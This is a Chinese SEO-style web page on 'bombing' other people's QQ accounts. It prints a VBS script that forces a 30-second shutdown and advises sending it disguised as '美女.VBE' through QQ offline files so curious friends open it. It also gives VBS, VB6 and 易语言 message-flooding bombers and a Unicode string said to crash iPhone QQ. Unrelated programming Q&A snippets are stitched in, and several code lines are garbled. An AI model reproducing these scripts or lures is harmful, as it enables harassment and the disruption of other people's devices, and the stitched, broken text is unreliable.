如何用代码轰炸别人QQ（如何用代码轰炸别人微信）

今天给各位分享如何用代码轰炸别人QQ的知识，其中也会对如何用代码轰炸别人微信进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、手机qq整人代码
• 2、这是一个QQ炸弹的代码，怎样存为.vbs 在word里面不能存。另外那个脚本里面要填什么？
• 3、qq假装黑客代码手机怎么弄
• 4、可以让对方手机QQ崩溃的代码
• 5、VB编QQ轰炸机！简单实用的！
• 6、用易语言做QQ轰炸机详细教程

手机qq整人代码

第一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个QQ炸弹，在30秒后会自动关机。

下面说一下使用方法：

最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。

还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了

你自己也可以测试一下这个QQ炸弹的威力。

这是一个QQ炸弹的代码，怎样存为.vbs 在word里面不能存。另外那个脚本里面要填什么？

用记事本（.txt）存……

把扩展名改成.vbs就行了……

另外，你这脚本有错误，不用测试，我看得出来。

这脚本恐怕没有用呢。

我把我写的QQ炸弹给你吧。

msgbox "启动后在两秒内将光标移到炸弹信息窗口哪儿。注意QQ发信息设置按Ctrl+ENTER弹信息。"

xx=inputbox("炸弹信息","必须是英文，禁止中文标点。违者包你完蛋","qisiwole1")

a=int(inputbox("炸弹次数",,100))

jg=1000/int(inputbox("每秒炸弹次数（输1启动"机枪"模式）",,4))

if jg=1000 then

yyy=msgbox ("启动机枪模式？可能对方/你死机！甚至服务器瘫痪……(连作者都没测试过：信息10000条，电脑最快速度发送)",16+vbyesno,"相当危险!")

if yyy=vbyes then

jg=1

a=10000

else

msgbox "已取消，默认设置。确认开始"

a=100

jg=250

end if

end if

msgbox "预计耗时"a*jg/1000+a*0.05"秒"

dim i,ppp

ppp=(10000/(a*jg))

i=0

wscript.sleep 2000

Set Wshell=WScript.CreateObject("WScript.Shell")

do

i=i+1

if ai then

msgbox "轰炸完毕。"

exit do

end if

wscript.sleep jg

WShell.SendKeys xx

WShell.SendKeys "^{enter}"

loop

qq假装黑客代码手机怎么弄

手机QQ的整人代码大全 —— 第一步，将以下代码复制到记事本中。on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你...

编写java代码计算全班同学年龄 —— 计算全班同学年龄之和。思路：从键盘上依次输入每个同学的年龄，然后求和输出：import java.util.Scanner;public class TestMain { public static void main(String[] args) { int sum=0;Scanner in =new Scanner(System....

复制一串代码让全班安静代码怎么复制? —— 可以说以下的话语复制代码：1、上课的时候进行随堂测验。马上就要上课了，班级非常吵闹，班委怎么喊都没用。这个时候班主任进来了，若无其事的说了一句：“等下上课的时候进行随堂测验，谁要是不及格的，就等着问话吧。”听...

刚才同学给我发了一串很长代码,有屌丝知道这是什么吗 —— 如果你使用不带参数的run命令，gdb就再次使用你给予前一条run命令的参数，这是很有用的。利用set args 命令就可以修改发送给程序的参数，而使用show args 命令就可以查看其缺省参数的列表。(gdb) set args –b –x (gdb...

有没有不用其他东西,只要输入一串代码就可以经验同学的。 —— 不可以。代码就是程序员用开发工具所支持的语言写出来的源文件，是一组由字符、符号或信号码元以离散形式表示信息的明确的规则体系。代码设计的原则包括唯一确定性、标准化和通用性、可扩充性与稳定性、便于识别与记忆、力求...

c语言对全班同学(人说不限)按总分自高至低排序输出, —— 程序运行过了，没问题的，希望能对你有所帮助 改变N值可改变人数 includestdio.h define N 7 int main(int argc, char* argv[]){ int grade[N][2],i,j,temp,max,count=1;printf("输入学生成绩：\n");prin.

可以让对方手机QQ崩溃的代码

有，IPHONE QQ 越狱后 可以让他崩溃，但不是所有都可以，有时候看RP了

当对方IPHONE QQ在线的时候，知道他开了推送，把下面的代码发给他

سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ

然后他的QQ就会崩溃的。我在我的IPHONE 5 6.1.2 越狱 已经测试。

VB编QQ轰炸机！简单实用的！

'窗口上一个List1，一个Text1，一个Timer1控件 和三个按钮Command1，Command2，Command3，分别命名为"获取"，"发送"，"连发"，即可。Command1按钮式为了获得和你聊天的窗口，Command2是指你要发送的信息。Command3是开始连发的标志。

不过好像没什么意思！！！

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Hwnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Const WM_GETTEXT = HD

Private Const EM_REPLACESEL = HC2

Private Const BM_CLICK = HF5

Dim Num1 As Long, QQTextHwnd As Long

Dim TempLog As Long

Dim TempMSG As String

Dim ButtonHwd As Long

Private Function GetWinText(ByVal WinHwnd As Long) As String

Dim ILen As Long

GetWinText = String(255, Chr(0))

ILen = SendMessage(WinHwnd, WM_GETTEXT, Len(GetWinText), ByVal GetWinText)

GetWinText = Left(GetWinText, ILen)

End Function

Private Sub Command1_Click()

List1.Clear

Dim hFindWnd As Long

hFindWnd = FindWindowEx(0, 0, "#32770", vbNullString)

Do While hFindWnd 0

If InStr(GetWinText(hFindWnd), "聊天中") 0 Or InStr(GetWinText(hFindWnd), "交谈中") 0 Then

List1.AddItem GetWinText(hFindWnd)

End If

hFindWnd = FindWindowEx(0, hFindWnd, "#32770", vbNullString)

Loop

If List1.ListCount = 0 Then

MsgBox "QQ消息窗体没有打开", 64, "提示"

End If

End Sub

Private Sub Command2_Click()

Dim QQHwnd As Long, RHwnd As Long

If List1.ListCount = 0 Then

MsgBox "QQ消息窗体没有打开", 64, "提示"

Exit Sub

End If

QQHwnd = FindWindow("#32770", List1.Text)

QQHwnd = FindWindowEx(QQHwnd, 0, "#32770", vbNullString)

QQTextHwnd = FindWindowEx(QQHwnd, 0, "AfxWnd42", vbNullString)

QQTextHwnd = FindWindowEx(QQHwnd, QQTextHwnd, "AfxWnd42", vbNullString)

QQTextHwnd = FindWindowEx(QQTextHwnd, 0, "RichEdit20A", vbNullString)

If QQTextHwnd = 0 Then

MsgBox "没有找到消息文本"

End If

RHwnd = FindWindowEx(QQHwnd, 0, "Button", "发送(S)")

ButtonHwd = RHwnd

TempLog = SendMessage(QQTextHwnd, EM_REPLACESEL, 0, ByVal Text1.Text)

SendMessage RHwnd, BM_CLICK, 0, 0

End Sub

Private Sub Command3_Click()

If Command3.Caption = "连发(T)" Then

Command3.Caption = "停止(T)"

Timer1.Enabled = True

Else

Command3.Caption = "连发(T)"

Timer1.Enabled = False

End If

End Sub

Private Sub Form_Load()

Command1.Caption = "获取(Q)"

Command2.Caption = "发送(S)"

Command3.Caption = "连发(T)"

Text1.Text = ""

Timer1.Interval = 100

Timer1.Enabled = False

End Sub

Private Sub Timer1_Timer()

Num1 = Num1 + 1

TempMSG = Text1.Text vbCrLf "统计：第" Num1 "连发消息"

SendMessage QQTextHwnd, EM_REPLACESEL, 0, ByVal TempMSG

SendMessage ButtonHwd, BM_CLICK, 0, 0

End Sub

用易语言做QQ轰炸机详细教程

.版本 2

.支持库 iext

.支持库 eAPI

.子程序 __启动窗口_创建完毕

.子程序 _按钮1_被单击

.如果 (到数值 (编辑框2.内容) ＜ 100)

信息框 (“周期不得小于100”, 0, , )'为了在QQ中使用不卡死

编辑框2.内容 ＝ “”

.否则

.如果结束

时钟1.时钟周期 ＝ 到数值 (编辑框2.内容)

透明标签4.标题 ＝ “|已开始运行|”

.子程序 _时钟1_周期事件

置剪辑板文本 (编辑框1.内容)

模拟按键 (#Ctrl键, #V键, )

模拟按键 (#回车键, , )

.子程序 _按钮2_被单击

时钟1.时钟周期 ＝ 0

透明标签4.标题 ＝ “|已停止运行|”

如何用代码轰炸别人QQ的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于如何用代码轰炸别人微信、如何用代码轰炸别人QQ的信息别忘了在本站进行查找喔。